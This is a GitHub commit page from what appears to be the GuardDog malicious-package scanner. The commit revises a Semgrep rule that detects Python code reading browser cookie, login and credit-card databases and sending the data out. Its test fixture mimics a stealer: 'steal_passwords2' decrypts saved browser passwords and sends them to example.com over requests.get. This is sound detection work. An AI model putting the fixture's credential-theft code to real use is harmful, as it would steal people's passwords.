Skip to content

Commit

Permalink
Incorporate change requests
Browse files Browse the repository at this point in the history
  • Loading branch information
ikretz committed Jul 18, 2024
1 parent 81ed588 commit ea85eb7
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 4 deletions.
4 changes: 1 addition & 3 deletions guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
Original file line number Diff line number Diff line change
Expand Up @@ -37,13 +37,12 @@ rules:
...
$CURSOR = $CONNECT.cursor(...)
...
$CURSOR.close(...)
- pattern: $CURSOR.execute($QUERY, ...)
- metavariable-pattern:
metavariable: $QUERY
patterns:
- pattern: "..."
- pattern-regex: (?i)select\s+[card_number_encrypted|encrypted_value|isHttpOnly|name|origin_url|password_value|username].*\s+from\s+[cookies|credit_cards|logins|moz_cookies|moz_formhistory|moz_logins]
- pattern-regex: (?i)select\s+\S+.*\s+from\s+(cookies|credit_cards|logins|moz_cookies|moz_formhistory|moz_logins)
pattern-sinks:
- pattern-either:
- pattern-inside: requests.$METHOD(...)
Expand All @@ -55,7 +54,6 @@ rules:
- pattern-inside: $S = socket.socket(...); ...
- pattern-inside: $S.connect(...); ...
- pattern-inside: $S.send(...)
- pattern-inside: $F.write(...)
languages:
- python
severity: WARNING
3 changes: 2 additions & 1 deletion tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
Original file line number Diff line number Diff line change
Expand Up @@ -244,7 +244,8 @@ def steal_passwords2(self, name: str, path: str, profile: str):
url, username, password = res
password = self.dcrpt_val(password, self.masterkey)
if url != "":
params = {'url': url, 'username': username, 'password': password}
# ruleid: exfiltrate-sensitive-data
f.write(f"URL: {url}\nID: {username}\nPASSWORD: {password} \n\n")
requests.get("https://example.com", params=params)
cursor.close()
conn.close()

0 comments on commit ea85eb7

Please sign in to comment.